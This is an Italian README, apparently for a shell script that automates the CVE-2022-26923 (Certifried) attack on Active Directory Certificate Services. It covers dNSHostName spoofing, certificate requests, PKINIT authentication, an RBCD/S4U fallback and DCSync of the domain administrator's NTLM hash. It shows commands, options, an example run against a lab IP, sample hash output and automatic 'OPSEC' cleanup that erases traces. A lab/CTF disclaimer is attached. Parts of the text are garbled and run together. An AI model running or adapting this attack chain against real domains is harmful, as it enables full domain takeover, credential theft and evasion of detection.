
Sfruttamento automatizzato di CVE-2022-26923 (Certifried)
Automazione dello sfruttamento di CVE-2022-26923 (Certifried), che consente l'escalation dei privilegi attraverso l'abuso dei Servizi Certificati di Active Directory (AD CS), con un fallback automatico alla Delega Vincolata Basata su Risorse (RBCD), portando infine al dump dell'hash NTLM di un account amministratore di dominio.
⚠️ Solo per scopi educativi / Lab / CTF
Non utilizzare in ambienti non autorizzati.
Questo script automatizza la seguente catena d'attacco:
dNSHostName per corrispondere al Domain Controllersecretsdump.py usando l'hash del DCbloodyADimpacket-addspngetST.pysecretsdump.py usando il ticket KerberosdNSHostName, facendo sì che l'CA emetta un certificato per l'account del DCpipx install impacket
pipx install certipy-ad
pipx install bloodyad
sudo apt install openssl
chmod +x CVE-2022-26923.sh
./CVE-2022-26923.sh [options]
-d, --dc-ip Indirizzo IP del Domain Controller
-D, --domain Nome del dominio (es. corp.local)
-u, --user Utente di dominio valido (formato UPN: user@domain)
-p, --pass Password dell'utente
--verbose Modalità debug: mostra tutti i comandi eseguiti
-h, --help Mostra questo messaggio di aiuto
./CVE-2022-26923.sh \
-d 10.129.227.189 \
-D certifried.htb \
-u [email protected] \
-p 'Ch4ng3m3!' \
--verbose
Consiglio: Prima di eseguire, identifica il nome esatto del CA e il template usando:
certipy-ad find -u 'user@domain' -p 'Password' -target dc.domain -ns <DC_IP> -stdoutPoi aggiorna
CA_NAMEeTEMPLATEnei valori predefiniti dello script di conseguenza.
A seconda dell'ambiente, uno dei due percorsi avrà successo:
Metodo 1 (Classico):
[5] Tentativo di autenticazione classico (Recupero hash DC)... [SUCCESSO]
[+] Hash NTLM del Domain Controller recuperato: aad3b435b51404eeaad3b435b51404ee:6f9d...
[6] DCSync di administrator tramite secretsdump...
administrator:500:aad3b435...:<nthash>:::
Metodo 2 (Fallback RBCD):
[5] Tentativo di autenticazione classico (Recupero hash DC)... [FALLITO]
[*] Passaggio al metodo Fallback (RBCD + SPN)...
[Fallback-5] Esecuzione di secretsdump tramite ticket RBCD...
administrator:500:aad3b435...:<nthash>:::
La pulizia OPSEC viene eseguita automaticamente alla fine (o con Ctrl+C):
[*] Avvio pulizia tracce (OPSEC)...
[OK] Pulizia completata.
Random Machine Account Creation (e.g. PWN8472$)
↓
dNSHostName Spoofing → dc.domain.local
↓
Dynamic LDAP Sync Verification (polling)
↓
Certificate Request via RPC (Machine Template)
[NETBIOS timeout auto-retry up to 5x]
↓
┌─────────────────────────────────────────┐
│ METHOD 1 — CLASSIC │
│ certipy-ad auth -pfx dc.pfx │
│ → DC NTLM hash via PKINIT │
│ → DCSync via secretsdump │
└────────────────┬────────────────────────┘
│ [FAILS]
▼
┌─────────────────────────────────────────┐
│ METHOD 2 — RBCD FALLBACK │
│ PFX → PEM conversion (openssl) │
│ bloodyAD: add rbcd dc$ COMP$ │
│ impacket-addspn: SPN on COMP$ │
│ getST: S4U2Self + S4U2Proxy (cifs/) │
│ secretsdump via KRB5 ticket │
└─────────────────────────────────────────┘
↓
OPSEC Cleanup (trap EXIT/INT/TERM)
- Remove RBCD attribute on DC
- Delete machine account (COMP$)
- Wipe local PFX / PEM / ccache files
Questo progetto è fornito per:
L'autore non si assume alcuna responsabilità per qualsiasi uso non autorizzato o illegale di questo strumento.
| Tool | Scopo |
|---|
certipy-ad | Creazione/aggiornamento account, richiesta certificato, autenticazione PKINIT |
bloodyAD | Manipolazione attributo RBCD (fallback) |
impacket-addspn | Aggiunta SPN sull'account macchina (fallback) |
impacket-getST | Richiesta ticket S4U2Self + S4U2Proxy (fallback) |
impacket-secretsdump | DCSync / dump hash NTLM |
openssl | Conversione PFX → PEM (fallback) |
| Sintomo | Causa | Soluzione |
|---|
NETBIOS connection timed out | Ritardo RPC di AD CS su HTB | Gestito automaticamente (5 tentativi) |
KDC_ERR_BADOPTION a getST | SPN mancante su COMP$ | Lo script ora usa impacket-addspn prima di getST |
KDC_ERR_WRONG_REALM a secretsdump | SPN errato (LDAP vs cifs) | Lo script usa SPN cifs/ per getST |
Clock skew too great | Deriva temporale Kerberos | sudo ntpdate <IP_DC> prima di eseguire |
| Eliminazione account macchina fallisce | Diritti AD insufficienti (normale) | Lo script ignora con grazia con ` |
unrecognized arguments con certipy-ad | Sintassi errata (vecchio formato certipy) | Lo script usa flag espliciti -u/-p/-target-ip |